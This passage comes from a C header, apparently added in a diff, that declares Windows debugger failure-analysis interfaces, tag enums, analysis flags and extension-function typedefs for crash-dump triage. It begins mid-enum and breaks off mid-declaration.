DEBUG_FLR_XML_MODULE_INFO_COMPANY_NAME, + DEBUG_FLR_XML_MODULE_INFO_FILE_DESCRIPTION, + DEBUG_FLR_XML_MODULE_INFO_INTERNAL_NAME, + DEBUG_FLR_XML_MODULE_INFO_ORIG_FILE_NAME, + DEBUG_FLR_XML_MODULE_INFO_BASE, + DEBUG_FLR_XML_MODULE_INFO_SIZE, + DEBUG_FLR_XML_MODULE_INFO_PRODUCT_NAME, + DEBUG_FLR_PROCESS_INFO, + DEBUG_FLR_EXCEPTION_MODULE_INFO, + DEBUG_FLR_CONTEXT_FOLLOWUP_INDEX, + DEBUG_FLR_XML_GLOBALATTRIBUTE_LIST, + DEBUG_FLR_XML_ATTRIBUTE_LIST, + DEBUG_FLR_XML_ATTRIBUTE, + DEBUG_FLR_XML_ATTRIBUTE_NAME, + DEBUG_FLR_XML_ATTRIBUTE_VALUE, + DEBUG_FLR_XML_ATTRIBUTE_D1VALUE, + DEBUG_FLR_XML_ATTRIBUTE_D2VALUE, + DEBUG_FLR_XML_ATTRIBUTE_DOVALUE, + DEBUG_FLR_XML_ATTRIBUTE_VALUE_TYPE, + DEBUG_FLR_XML_ATTRIBUTE_FRAME_NUMBER, + DEBUG_FLR_XML_ATTRIBUTE_THREAD_INDEX, + DEBUG_FLR_XML_PROBLEMCLASS_LIST, + DEBUG_FLR_XML_PROBLEMCLASS, + DEBUG_FLR_XML_PROBLEMCLASS_NAME, + DEBUG_FLR_XML_PROBLEMCLASS_VALUE, + DEBUG_FLR_XML_PROBLEMCLASS_VALUE_TYPE, + DEBUG_FLR_XML_PROBLEMCLASS_FRAME_NUMBER, + DEBUG_FLR_XML_PROBLEMCLASS_THREAD_INDEX, + DEBUG_FLR_XML_STACK_FRAME_TRIAGE_STATUS, + + + // cabbed text data / structured data + DEBUG_FLR_REGISTRY_DATA = 0x300000, + DEBUG_FLR_WMI_QUERY_DATA = 0x301000, + DEBUG_FLR_USER_GLOBAL_ATTRIBUTES = 0x302000, + DEBUG_FLR_USER_THREAD_ATTRIBUTES = 0x303000, + DEBUG_FLR_USER_PROBLEM_CLASSES = 0x304000, + +#ifdef AUTOBUG_PROCESSING_SUPPORT + // tabs to support autobug cab processing + DEBUG_FLR_AUTOBUG_EXCEPTION_CODE_STR = 0x101000, // This is the string representation of the exception code (ie. c0000005) + DEBUG_FLR_AUTOBUG_BUCKET_ID_PREFIX_STR, // This is the prefix part of BUCKET_ID. Everything before the start of the module name + DEBUG_FLR_AUTOBUG_BUCKET_ID_MODULE_STR, // This is module, without the .dll/exe/tmp, etc. extension + DEBUG_FLR_AUTOBUG_BUCKET_ID_MODVER_STR, // This is version of the aforementioned module, 0.0.0.0 if none. + DEBUG_FLR_AUTOBUG_BUCKET_ID_FUNCTION_STR,// This is same as Sym from Watson. If missing 'unknown'. + DEBUG_FLR_AUTOBUG_BUCKET_ID_OFFSET, // The offset portion SYMBOL_NAME + DEBUG_FLR_AUTOBUG_OSBUILD, // This is the OS build number. + DEBUG_FLR_AUTOBUG_OSSERVICEPACK, // This is the trailing part of the oca tag BUILD. + DEBUG_FLR_AUTOBUG_BUILDLAB_STR, // Only the build lab part of BUILD_VERSION_STRING (like winmain_idx03) + DEBUG_FLR_AUTOBUG_BUILDDATESTAMP_STR, // The time date stamp part of BUILD_VERSION_STRING (like 051214-1910) + DEBUG_FLR_AUTOBUG_BUILDOSVER_STR, // The OS version parth of BUILD_VERSION_STRING (like 6.0.5270.9). + DEBUG_FLR_AUTOBUG_BUCKET_ID_TIMEDATESTAMP, + DEBUG_FLR_AUTOBUG_BUCKET_ID_CHECKSUM, + DEBUG_FLR_AUTOBUG_BUILD_FLAVOR_STR, + DEBUG_FLR_AUTOBUG_BUCKET_ID_FLAVOR_STR, // Is the failing module chk or fre + DEBUG_FLR_AUTOBUG_OS_SKU, + DEBUG_FLR_AUTOBUG_PRODUCT_TYPE, + DEBUG_FLR_AUTOBUG_SUITE_MASK, + DEBUG_FLR_AUTOBUG_USER_LCID, + DEBUG_FLR_AUTOBUG_OS_REVISION, // OS revision + DEBUG_FLR_AUTOBUG_OS_NAME, // OS Name + DEBUG_FLR_AUTOBUG_OS_NAME_EDITION, // Complete OS Name along with edition + DEBUG_FLR_AUTOBUG_OS_PLATFORM_TYPE, // OS type - x86 / x64 / ia64 + DEBUG_FLR_AUTOBUG_OSSERVICEPACK_NUMBER, // This is service pack number + DEBUG_FLR_AUTOBUG_OS_LOCALE, // OS locale string such as en-us + DEBUG_FLR_AUTOBUG_BUILDDATESTAMP, // The time date stamp value for kernel + DEBUG_FLR_AUTOBUG_USER_LCID_STR, +#endif + + + // Culprit module + DEBUG_FLR_FAULTING_IP = 0x80000000, // Instruction where failure occurred + DEBUG_FLR_FAULTING_MODULE, + DEBUG_FLR_IMAGE_TIMESTAMP, + DEBUG_FLR_FOLLOWUP_IP, + DEBUG_FLR_FRAME_ONE_INVALID, + DEBUG_FLR_SYMBOL_FROM_RAW_STACK_ADDRESS, + + // custom analysis plugin tags + DEBUG_FLR_CUSTOM_ANALYSIS_TAG_MIN = 0xA0000000, + DEBUG_FLR_CUSTOM_ANALYSIS_TAG_MAX = 0xB0000000, + + // To get faulting stack + DEBUG_FLR_FAULTING_THREAD = 0xc0000000, + DEBUG_FLR_CONTEXT, + DEBUG_FLR_TRAP_FRAME, + DEBUG_FLR_TSS, + DEBUG_FLR_BLOCKING_THREAD, // Thread which is blocking others to execute by holding locks/critsec + DEBUG_FLR_UNRESPONSIVE_UI_THREAD, + DEBUG_FLR_BLOCKED_THREAD0, // Threads blocked / waiting for some event / crit section + DEBUG_FLR_BLOCKED_THREAD1, + DEBUG_FLR_BLOCKED_THREAD2, + DEBUG_FLR_BLOCKING_PROCESSID, // process id of processes which is blocking execution + DEBUG_FLR_PROCESSOR_ID, // CPU where the fault is + DEBUG_FLR_MASK_ALL = 0xFFFFFFFF + +} DEBUG_FLR_PARAM_TYPE; + +typedef struct _DBG_THREAD_ATTRIBUTES +{ + ULONG ThreadIndex; + ULONG64 ProcessID; + ULONG64 ThreadID; + ULONG64 AttributeBits; + +/* + bHas_StringData 0x0001 + bBlockedOnPID 0x0002 + bBlockedOnTID 0x0004 + bHas_CritSecAddress 0x0008 + bHas_timeout 0x0010 + m_szSymName[0] 0x0020 +*/ + ULONG BoolBits; + ULONG64 BlockedOnPID; + ULONG64 BlockedOnTID; + ULONG64 CritSecAddress; + ULONG Timeout_msec; + char StringData[100]; + char SymName[100]; +} DBG_THREAD_ATTRIBUTES, *PDBG_THREAD_ATTRIBUTES; + +//---------------------------------------------------------------------------- +// +// A failure analysis is a dynamic buffer of tagged blobs. Values +// are accessed through the Get/Set methods. +// +// Entries are always fully aligned. +// +// Set methods throw E_OUTOFMEMORY exceptions when the data +// buffer cannot be extended. +// +//---------------------------------------------------------------------------- + +typedef DEBUG_FLR_PARAM_TYPE FA_TAG; + +// +// This is set in IDebugFAEntryTags Tag Type to determine +// type of value contained in entry +// +typedef enum _FA_ENTRY_TYPE +{ + // Undefined entry, this may be used for + // FA_TAGs whose values do not have any significance + DEBUG_FA_ENTRY_NO_TYPE, + // FA_ENTRY is of ULONG type + DEBUG_FA_ENTRY_ULONG, + // FA_ENTRY is of ULONG64 type + DEBUG_FA_ENTRY_ULONG64, + // FA_ENTRY is offset in instruction stream + DEBUG_FA_ENTRY_INSTRUCTION_OFFSET, + // FA_ENTRY is a (ULONG64 sign-extended) pointer value + DEBUG_FA_ENTRY_POINTER, + // FA_ENTRY is null terminated char array + // DataSize is size of string including null terminator + DEBUG_FA_ENTRY_ANSI_STRING, + // FA_ENTRY is an array of strings, each of the string + // is null terminated char array. + // DataSize is sum size of all string including null terminator + DEBUG_FA_ENTRY_ANSI_STRINGs, + // FA_ENTRY is a link to an extension command. !analyze -v + // would run the command when showing the entry value + // The Entry contains extension command string. + DEBUG_FA_ENTRY_EXTENSION_CMD, + // FA_ENTRY is a link is structured analysis data + // The Entry contains pointer to PDEBUG_FAILURE_ANALYSIS2 object. + DEBUG_FA_ENTRY_STRUCTURED_DATA, + // FA_ENTRY is null terminated unicode char array + // DataSize is size of unicode string including null terminator + DEBUG_FA_ENTRY_UNICODE_STRING, + // Bit flag modifier for any of the basic type + // (ULONG/POINTER/INSTRUCTION_OFFSET). FA_ENTRY is an + // array of any basic type other than string. DataSize + // member of the Entry can be used to determine array length. + DEBUG_FA_ENTRY_ARRAY = 0x8000, +} FA_ENTRY_TYPE; + +#undef INTERFACE +#define INTERFACE IDebugFAEntryTags +DECLARE_INTERFACE(IDebugFAEntryTags) +{ + // Looksup Type associated for the failure tag + STDMETHOD_(FA_ENTRY_TYPE, GetType)( + THIS_ + __in FA_TAG Tag + ) PURE; + + // Sets Type associated for the failure tag + STDMETHOD(SetType)( + THIS_ + __in FA_TAG Tag, + __in FA_ENTRY_TYPE EntryType + ) PURE; + + // Looksup description and name for the failure tag + STDMETHOD(GetProperties)( + THIS_ + __in FA_TAG Tag, + __out_bcount_opt(NameSize) PSTR Name, + __inout_opt PULONG NameSize, + __out_bcount_opt(DescSize) PSTR Description, + __inout_opt PULONG DescSize, + __out_opt PULONG Flags + ) PURE; + + // Sets description and name for the failure tag + // If the given tag already had these defined, this will overwrite + // previous definition(s) + STDMETHOD(SetProperties)( + THIS_ + __in FA_TAG Tag, + __in_opt PCSTR Name, + __in_opt PCSTR Description, + __in_opt ULONG Flags + ) PURE; + + // This looks up default analysis tag or plugin's registered tag + // by its name + STDMETHOD(GetTagByName)( + THIS_ + __in PCSTR PluginId, + __in PCSTR TagName, + __out FA_TAG* Tag + ) PURE; + + // This allows extensions to check if a given failure + // tag value can be set. This would return true for all + // tags that were allocated via AllocateTagRange or + // the predefined tag values in this header file + STDMETHOD_(BOOL, IsValidTagToSet)( + THIS_ + __in FA_TAG Tag + ) PURE; +}; + +typedef struct _FA_ENTRY +{ + FA_TAG Tag; + USHORT FullSize; + USHORT DataSize; +} FA_ENTRY, *PFA_ENTRY; + +#define FA_ENTRY_DATA(Type, Entry) ((Type)((Entry) + 1)) + +/* ed0de363-451f-4943-820c-62dccdfa7e6d */ +DEFINE_GUID(IID_IDebugFailureAnalysis, 0xed0de363, 0x451f, 0x4943, + 0x82, 0x0c, 0x62, 0xdc, 0xcd, 0xfa, 0x7e, 0x6d); + +typedef interface DECLSPEC_UUID("ed0de363-451f-4943-820c-62dccdfa7e6d") + IDebugFailureAnalysis* PDEBUG_FAILURE_ANALYSIS; + +#undef INTERFACE +#define INTERFACE IDebugFailureAnalysis +DECLARE_INTERFACE_(IDebugFailureAnalysis, IUnknown) +{ + // IUnknown. + STDMETHOD(QueryInterface)( + THIS_ + IN REFIID InterfaceId, + OUT PVOID* Interface + ) PURE; + STDMETHOD_(ULONG, AddRef)( + THIS + ) PURE; + STDMETHOD_(ULONG, Release)( + THIS + ) PURE; + + // IDebugFailureAnalysis. + STDMETHOD_(ULONG, GetFailureClass)( + THIS + ) PURE; + STDMETHOD_(DEBUG_FAILURE_TYPE, GetFailureType)( + THIS + ) PURE; + STDMETHOD_(ULONG, GetFailureCode)( + THIS + ) PURE; + STDMETHOD_(PFA_ENTRY, Get)( + THIS_ + FA_TAG Tag + ) PURE; + STDMETHOD_(PFA_ENTRY, GetNext)( + THIS_ + PFA_ENTRY Entry, + FA_TAG Tag, + FA_TAG TagMask + ) PURE; + STDMETHOD_(PFA_ENTRY, GetString)( + THIS_ + FA_TAG Tag, + __out_bcount(MaxSize) PSTR Str, + ULONG MaxSize + ) PURE; + STDMETHOD_(PFA_ENTRY, GetBuffer)( + THIS_ + FA_TAG Tag, + __out_bcount(Size) PVOID Buf, + ULONG Size + ) PURE; + STDMETHOD_(PFA_ENTRY, GetUlong)( + THIS_ + FA_TAG Tag, + __out PULONG Value + ) PURE; + STDMETHOD_(PFA_ENTRY, GetUlong64)( + THIS_ + FA_TAG Tag, + __out PULONG64 Value + ) PURE; + STDMETHOD_(PFA_ENTRY, NextEntry)( + THIS_ + __in_opt PFA_ENTRY Entry + ) PURE; +}; + +/* ea15c288-8226-4b70-acf6-0be6b189e3ad */ +DEFINE_GUID(IID_IDebugFailureAnalysis2, 0xea15c288, 0x8226, 0x4b70, + 0xac, 0xf6, 0x0b, 0xe6, 0xb1, 0x89, 0xe3, 0xad); + + +typedef interface DECLSPEC_UUID("ea15c288-8226-4b70-acf6-0be6b189e3ad") + IDebugFailureAnalysis2* PDEBUG_FAILURE_ANALYSIS2; + +// +// Interface to query analysis data +// +#undef INTERFACE +#define INTERFACE IDebugFailureAnalysis2 +DECLARE_INTERFACE_(IDebugFailureAnalysis2, IUnknown) +{ + // IUnknown. + STDMETHOD(QueryInterface)( + THIS_ + IN REFIID InterfaceId, + OUT PVOID* Interface + ) PURE; + STDMETHOD_(ULONG, AddRef)( + THIS + ) PURE; + STDMETHOD_(ULONG, Release)( + THIS + ) PURE; + + // IDebugFailureAnalysis2. + + // Target class for the given failure + STDMETHOD_(ULONG, GetFailureClass)( + THIS + ) PURE; + // Type of failure being analyzed + STDMETHOD_(DEBUG_FAILURE_TYPE, GetFailureType)( + THIS + ) PURE; + // Failure code: Bugcheck code for kernel mode, + // exception code for user mode + STDMETHOD_(ULONG, GetFailureCode)( + THIS + ) PURE; + // Lookup FA_ENTRY by tag + // Returns NULL if tag is not found + STDMETHOD_(PFA_ENTRY, Get)( + THIS_ + __in FA_TAG Tag + ) PURE; + // Looks up next FA_ENTRY after the given 'Entry' by + // matching with Tag & and TagMask + // Returns NULL if tag is not found + STDMETHOD_(PFA_ENTRY, GetNext)( + THIS_ + __in PFA_ENTRY Entry, + __in FA_TAG Tag, + __in FA_TAG TagMask + ) PURE; + // Looksup FA_ENTRY by tag and copies its string value + // Returns NULL if tag is not found + STDMETHOD_(PFA_ENTRY, GetString)( + THIS_ + __in FA_TAG Tag, + __out_ecount(MaxSize) PSTR Str, + __in ULONG MaxSize + ) PURE; + // Looksup FA_ENTRY by tag and copies its data value + // Returns NULL if tag is not found + STDMETHOD_(PFA_ENTRY, GetBuffer)( + THIS_ + __in FA_TAG Tag, + __out_bcount(Size) PVOID Buf, + __in ULONG Size + ) PURE; + // Looksup FA_ENTRY by tag and copies its ULONG value + // Returns NULL if tag is not found + STDMETHOD_(PFA_ENTRY, GetUlong)( + THIS_ + __in FA_TAG Tag, + __out PULONG Value + ) PURE; + // Looksup FA_ENTRY by tag and copies its ULONG64 value + // Returns NULL if tag is not found + STDMETHOD_(PFA_ENTRY, GetUlong64)( + THIS_ + __in FA_TAG Tag, + __out PULONG64 Value + ) PURE; + // Looks up next FA_ENTRY after the given 'Entry' + // Returns NULL if tag is not found + STDMETHOD_(PFA_ENTRY, NextEntry)( + THIS_ + __in_opt PFA_ENTRY Entry + ) PURE; + // Sets the given String for corresponding tag + // It overwrites the value if tag is already + // present. + STDMETHOD_(PFA_ENTRY, SetString)( + THIS_ + FA_TAG Tag, + __nullterminated PCSTR Str + ) PURE; + // Sets the given extension command and its + // argument for corresponding tag + // It overwrites the value if tag is already + // present. + STDMETHOD_(PFA_ENTRY, SetExtensionCommand)( + THIS_ + FA_TAG Tag, + __nullterminated PCSTR Extension + ) PURE; + // Sets the given ULONG value for corresponding tag + // It overwrites the value if tag is already + // present. + STDMETHOD_(PFA_ENTRY, SetUlong)( + THIS_ + FA_TAG Tag, + __in ULONG Value + ) PURE; + // Sets the given ULONG64 value for corresponding tag + // It overwrites the value if tag is already + // present. + STDMETHOD_(PFA_ENTRY, SetUlong64)( + THIS_ + FA_TAG Tag, + __in ULONG64 Value + ) PURE; + // Sets the given Buffer value for corresponding tag + // It overwrites the value if tag is already + // present. + STDMETHOD_(PFA_ENTRY, SetBuffer)( + THIS_ + FA_TAG Tag, + __in FA_ENTRY_TYPE EntryType, + __in_bcount(Size) PVOID Buf, + __in ULONG Size + ) PURE; + // Sets the given String for corresponding tag + // It adds a new entry the value if tag is already + // present. + STDMETHOD_(PFA_ENTRY, AddString)( + THIS_ + FA_TAG Tag, + __nullterminated PSTR Str + ) PURE; + // Sets the given extension command and its + // argument for corresponding tag in a new entry + STDMETHOD_(PFA_ENTRY, AddExtensionCommand)( + THIS_ + FA_TAG Tag, + __nullterminated PSTR Extension + ) PURE; + // Sets the given ULONG value for corresponding tag + // in a new entry + STDMETHOD_(PFA_ENTRY, AddUlong)( + THIS_ + FA_TAG Tag, + __in ULONG Value + ) PURE; + // Sets the given ULONG64 value for corresponding tag + // in a new entry + STDMETHOD_(PFA_ENTRY, AddUlong64)( + THIS_ + FA_TAG Tag, + __in ULONG64 Value + ) PURE; + // Sets the given Buffer value for corresponding tag + // in a new entry + STDMETHOD_(PFA_ENTRY, AddBuffer)( + THIS_ + FA_TAG Tag, + __in FA_ENTRY_TYPE EntryType, + __in_bcount(Size) PVOID Buf, + __in ULONG Size + ) PURE; + // Get the interface to query and set meta-data about + // failure analysis tags + STDMETHOD(GetDebugFATagControl)( + THIS_ + __out IDebugFAEntryTags** FATagControl + ) PURE; + // Generates and returns XML fragment from analysis data + STDMETHOD(GetAnalysisXml)( + THIS_ +// Do not force clients to unnecessarily include msxml, use IUnknown if its not included +#ifdef __IXMLDOMElement_FWD_DEFINED__ + __out IXMLDOMElement** pAnalysisXml +#else + __out IUnknown** pAnalysisXml +#endif + ) PURE; +}; + +// +// Analysis control flags +// +// Analyzer doesn't lookup database for information about failure +#define FAILURE_ANALYSIS_NO_DB_LOOKUP 0x0001 +// Produces verbose analysis output +#define FAILURE_ANALYSIS_VERBOSE 0x0002 +// Assumes target is hung when doing analysis +#define FAILURE_ANALYSIS_ASSUME_HANG 0x0004 +// Ignores manual breakin state and continues forward with analysis +#define FAILURE_ANALYSIS_IGNORE_BREAKIN 0x0008 +// Sets the analysis failure context after finishing up analysis +#define FAILURE_ANALYSIS_SET_FAILURE_CONTEXT 0x0010 +// Analyze the exception as if it were a hang +#define FAILURE_ANALYSIS_EXCEPTION_AS_HANG 0x0020 +// Support Autobug processing +#define FAILURE_ANALYSIS_AUTOBUG_PROCESSING 0x0040 +// Produces xml analysis output +#define FAILURE_ANALYSIS_XML_OUTPUT 0x0080 +// produces XML representations of callstacks +#define FAILURE_ANALYSIS_CALLSTACK_XML 0x0100 +// Adds cabbed registry data to analysis tags +#define FAILURE_ANALYSIS_REGISTRY_DATA 0x0200 +// Adds cabbed WMI query data to analysis tags +#define FAILURE_ANALYSIS_WMI_QUERY_DATA 0x0400 +// Adds user analysis attribute list as analysis data +#define FAILURE_ANALYSIS_USER_ATTRIBUTES 0x0800 +// produces XML listing of loaded and unloaded modules +#define FAILURE_ANALYSIS_MODULE_INFO_XML 0x1000 +// skip image corruption analysis +#define FAILURE_ANALYSIS_NO_IMAGE_CORRUPTION 0x2000 +// Automatically sets symbol and image path if no symbols are currently available +#define FAILURE_ANALYSIS_AUTOSET_SYMPATH 0x4000 +// All Attributes to XML +#define FAILURE_ANALYSIS_USER_ATTRIBUTES_ALL 0x8000 +//interlace stack frames with attributes for xml +#define FAILURE_ANALYSIS_USER_ATTRIBUTES_FRAMES 0x10000 +// analyze multiple targets if available +#define FAILURE_ANALYSIS_MULTI_TARGET 0x20000 + + +// GetFailureAnalysis Extension function, deprecarted +typedef HRESULT +(WINAPI* EXT_GET_FAILURE_ANALYSIS)( + IN PDEBUG_CLIENT4 Client, + IN ULONG Flags, + OUT PDEBUG_FAILURE_ANALYSIS* Analysis + ); + +// +// Function signature for GetDebugFailureAnalysis extension-function +// from ext.dll. +// This analyzes failure state of current target and returns +// analysis results in Analysis object +// +typedef HRESULT +(WINAPI* EXT_GET_DEBUG_FAILURE_ANALYSIS)( + __in PDEBUG_CLIENT4 Client, + __in ULONG Flags, + __in CLSID pIIdFailureAnalysis, // must be IID_IDebugFailureAnalysis2 + __out PDEBUG_FAILURE_ANALYSIS2* Analysis + ); + +// +// This determines the analysis phase during which a registered +// analysis-plugin is invoked. The extensions can register their +// plugin along with one or more of these flags to control the +// time when the plugin gets called. +// +typedef enum _FA_EXTENSION_PLUGIN_PHASE +{ + // Extension plugin is invoked after the primary data such as + // exception record (for user mode) / bugcheck code (for kernel + // mode) is initialized + FA_PLUGIN_INITILIZATION = 0x0001, + // Extension plugin is invoked after the stack is analyzed and + // the analysis has the information about faulting symbol and + // module if it were available on stack + FA_PLUGIN_STACK_ANALYSIS = 0x0002, + // Extension plugin is invoked just before generating bucket. + FA_PLUGIN_PRE_BUCKETING = 0x0004, + // Extension plugin is invoked just after generating bucket. + FA_PLUGIN_POST_BUCKETING = 0x0008, +} FA_EXTENSION_PLUGIN_PHASE; + +// +// Function signature for custom analyzer entry point in a +// registered analysis-plugin dll. +// +typedef HRESULT +(WINAPI* EXT_ANALYSIS_PLUGIN)( + __in PDEBUG_CLIENT4 Client, + __in FA_EXTENSION_PLUGIN_PHASE CallPhase, + __in PDEBUG_FAILURE_ANALYSIS2 pAnalysis + ); + +typedef HRESULT +(WINAPI* EXT_GET_FA_ENTRIES_DATA)( + IN PDEBUG_CLIENT4 Client, + IN PULONG Count, + OUT PFA_ENTRY* Entries + ); + +// +// Typedef for extension function GetManagedObjectName in sos.dll +// +typedef HRESULT +(WINAPI* EXT_GET_MANAGED_OBJECTNAME)( + PDEBUG_CLIENT Client, + ULONG64 objAddr, + PSTR szName, + ULONG cbName + ); + +// +// Typedef for extension function GetManagedObjectFieldInfo in sos.dll +// +typedef HRESULT +(WINAPI* EXT_GET_MANAGED_OBJECT_FIELDINFO)( + PDEBUG_CLIENT Client, + ULONG64 objAddr, + PSTR szFieldName, + PULONG64 pValue, + PULONG pOffset + ); + +// +// Typedef for extension function GetManagedExcepStack in sos.dll +// +typedef HRESULT +(WINAPI* EXT_GET_MANAGED_EXCEPSTACK)( + PDEBUG_CLIENT Client, + ULONG64 StackObjAddr, + PSTR szStackString, + ULONG cbString + ); + +// +// Typedef for extension function StackTrace in sos.dll +// +typedef HRESULT +(WINAPI* EXT_GET_MANAGED_STACKTRACE)( + PDEBUG_CLIENT Client, + WCHAR wszTextOut[], + size_t *puiTextLength, + LPVOID pTransitionContexts, + size_t *puiTransitionContextCount, + size_t uiSizeOfContext, + ULONG Flags); + + +/***************************************************************************** + Target info + *****************************************************************************/ +typedef enum _OS_TYPE { + WIN_95, + WIN_98, + WIN_ME, + WIN_NT4, + WIN_NT5, + WIN_NT5_1, + WIN_NT5_2, + WIN_NT6_0, + WIN_NT6_1, + NUM_WIN, +} OS_TYPE; + + +// +// Info about OS installed +// +typedef struct _OS_INFO { + ULONG MajorVer; // Os major version + ULONG MinorVer; // Os minor version + ULONG Build; // Os build number + ULONG BuildQfe; // Os build QFE number + ULONG ProductType; // NT, LanMan or Server + ULONG Suite; // OS flavour - per, SmallBuisness etc. + ULONG Revision; + struct { + ULONG Checked:1; // If its a checked build + ULONG Pae:1; // True for Pae systems + ULONG MultiProc:1; // True for multiproc enabled OS + ULONG Reserved:29; + } s; + ULONG SrvPackNumber; // Service pack number of OS + ULONG ServicePackBuild; // Service pack build + ULONG Architecture; // Architecture name such as x86, ia64 or x64 + CHAR Name[64]; // Short name of OS + CHAR FullName[256]; // Full name of OS includeing SP, Suite, product + CHAR Language[30]; // OS language + CHAR BuildVersion[64]; // Build version string + CHAR ServicePackString[64]; // Service pack string +} OS_INFO, *POS_INFO; + +typedef struct _CPU_INFO { + ULONG Type; // Processor type as in IMAGE_FILE_MACHINE types + ULONG NumCPUs; // Actual number of Processors + ULONG CurrentProc; // Current processor + DEBUG_PROCESSOR_IDENTIFICATION_ALL ProcInfo[CROSS_PLATFORM_MAXIMUM_PROCESSORS]; + ULONG Mhz; // Processor speed (from currentproc.prcb) +} CPU_INFO, *PCPU_INFO; + +#define MAX_STACK_IN_BYTES 4096 + +typedef struct _TARGET_DEBUG_INFO { + ULONG SizeOfStruct; + ULONG64 EntryDate; // Date created + ULONG DebugeeClass;// Kernel / User mode + ULONG64 SysUpTime; // System Up time + ULONG64 AppUpTime; // Application up time + ULONG64 CrashTime; // Time system / app crashed + OS_INFO OsInfo; // OS details + CPU_INFO Cpu; // Processor details + CHAR DumpFile[MAX_PATH]; // Dump file name if its a dump +} TARGET_DEBUG_INFO, *PTARGET_DEBUG_INFO; + +// GetTargetInfo +typedef HRESULT +(WINAPI* EXT_TARGET_INFO)( + PDEBUG_CLIENT4 Client, + PTARGET_DEBUG_INFO pTargetInfo + ); + + +typedef struct _DEBUG_DECODE_ERROR { + ULONG SizeOfStruct; // Must be == sizeof(DEBUG_DECODE_ERROR) + ULONG Code; // Error code to be decoded + BOOL TreatAsStatus; // True if code is to be treated as Status + CHAR Source[64]; // Source from where we got decoded message + CHAR Message[MAX_PATH]; // Message string for error code +} DEBUG_DECODE_ERROR, *PDEBUG_DECODE_ERROR; + +/* + Decodes and prints the given error code - DecodeError +*/ +typedef VOID +(WINAPI *EXT_DECODE_ERROR)( + PDEBUG_DECODE_ERROR pDecodeError + ); + +// +// ext.dll: GetTriageFollowupFromSymbol +// +// This returns owner info from a given symbol name +// +typedef struct _DEBUG_TRIAGE_FOLLOWUP_INFO { + ULONG SizeOfStruct; // Must be == sizeof (DEBUG_TRIAGE_FOLLOWUP_INFO) + ULONG OwnerNameSize; // Size of allocated buffer + PCHAR OwnerName; // Followup owner name returned in this + // Caller should initialize the name buffer +} DEBUG_TRIAGE_FOLLOWUP_INFO, *PDEBUG_TRIAGE_FOLLOWUP_INFO; + +#define TRIAGE_FOLLOWUP_FAIL 0 +#define TRIAGE_FOLLOWUP_IGNORE 1 +#define TRIAGE_FOLLOWUP_DEFAULT 2 +#define TRIAGE_FOLLOWUP_SUCCESS 3 + +typedef DWORD +(WINAPI *EXT_TRIAGE_FOLLOWUP)( + IN PDEBUG_CLIENT4 Client, + IN PSTR SymbolName, + OUT PDEBUG_TRIAGE_FOLLOWUP_INFO OwnerInfo + ); + +// +// Struct to receive data from syzdata.XML file cabbed along with the dump +// +typedef struct _EXT_CAB_XML_DATA { + ULONG SizeOfStruct; // Must be == sizeof(_EXT_CAB_XML_DATA) + PCWSTR XmlObjectTag; // Look for text under this tag + ULONG NumSubTags; // Number of subtags + struct _SUBTAGS { + PCWSTR SubTag; // Look for text under this sub-tag of XmlObjectTag + PCWSTR MatchPattern; // Match the text with MatchPattern according to MatchType + PWSTR ReturnText; // Return the matched text in ReturnText, multiple + // matches are returned in multistring + ULONG ReturnTextSize; // Size of ReturnText in bytes + ULONG MatchType:3; // 0: Prefix match, 2: In-text match 1: Suffix match + ULONG Reserved:29; + ULONG Reserved2; + } SubTags[1]; +} EXT_CAB_XML_DATA, *PEXT_CAB_XML_DATA; + +typedef HRESULT +(WINAPI *EXT_XML_DATA)( + PDEBUG_CLIENT4 Client, + PEXT_CAB_XML_DATA pXmpData + ); + +// +// Extension function type definition for dlls which want to export analyzer +// function to be used by !analyze to gather component specific data +// + +#define EXT_ANALYZER_FLAG_MOD 0x00000001 +#define EXT_ANALYZER_FLAG_ID 0x00000002 + +typedef HRESULT +(WINAPI *EXT_ANALYZER)( + __in_opt PDEBUG_CLIENT Client, + __out_bcount(cbBucketSuffix) PSTR BucketSuffix, // The additional suffix analyzer wants to + // be added to !analyze BUGCKET_ID to better distinguish this bucket + __in ULONG cbBucketSuffix, // byte count of BucketSuffix buffer supplied + __out_bcount(cbDebugText) PSTR DebugText, // The debugging text (optional) which !analyze + // should print out to help people debugging this failure + __in ULONG cbDebugText, // byte count of DebugText buffer supplied + __in PULONG Flags, // Flags that contorl the bucketing + __in PDEBUG_FAILURE_ANALYSIS pAnalysis // Data for current analysis + ); + +// +// Data queried about processor, returned as part of analysis tag DEBUG_FLR_PROCESSOR_INFO +// +typedef struct _DEBUG_ANALYSIS_PROCESSOR_INFO { + ULONG SizeOfStruct; // must be == sizeof(DEBUG_ANALYSIS_PROCESSOR_INFO) + ULONG Model; + ULONG Family; + ULONG Stepping; + ULONG Architecture; + ULONG Revision; + ULONG CurrentClockSpeed; + ULONG CurrentVoltage; + ULONG MaxClockSpeed; + ULONG ProcessorType; + CHAR DeviceID[32]; + CHAR Manufacturer[64]; + CHAR Name[64]; + CHAR Version[64]; + CHAR Description[64]; +} DEBUG_ANALYSIS_PROCESSOR_INFO, *PDEBUG_ANALYSIS_PROCESSOR_INFO; + + +// Queried target build binary dir, the build dir string is returned in pData +// pQueryInfo must be null +#define EXTDLL_DATA_QUERY_BUILD_BINDIR 1 +#define EXTDLL_DATA_QUERY_BUILD_SYMDIR 2 +#define EXTDLL_DATA_QUERY_BUILD_WOW64SYMDIR 3 +#define EXTDLL_DATA_QUERY_BUILD_WOW64BINDIR 4 + +#define EXTDLL_DATA_QUERY_BUILD_BINDIR_SYMSRV 11 +#define EXTDLL_DATA_QUERY_BUILD_SYMDIR_SYMSRV 12 +#define EXTDLL_DATA_QUERY_BUILD_WOW64SYMDIR_SYMSRV 13 +#define EXTDLL_DATA_QUERY_BUILD_WOW64BINDIR_SYMSRV 14 + +// +// Extension function ExtDllQueryDataByTag exported by ext.dll to query +// various data values. The alowd tags values are defined above +// +typedef HRESULT +(WINAPI *EXTDLL_QUERYDATABYTAG)( + __in PDEBUG_CLIENT4 Client, + __in ULONG dwDataTag, + __in PVOID pQueryInfo, + __out_bcount(cbData) PBYTE pData, + __in ULONG cbData + ); + +#endif // _EXTAPIS_H + + +// +// Function exported from ntsdexts.dll +// +typedef HRESULT +(WINAPI *EXT_GET_HANDLE_TRACE)( + PDEBUG_CLIENT Client, + ULONG TraceType, + ULONG StartIndex, + PULONG64 HandleValue, + PULONG64 StackFunctions, + ULONG StackTraceSize + ); + + +// +// Functions exported from exts.dll +// + +// +// GetEnvironmenttVariable - gets environment variable value from the target +// +typedef HRESULT +(WINAPI* EXT_GET_ENVIRONMENT_VARIABLE)( + ULONG64 Peb, // Peb address where variable resides, 0 for 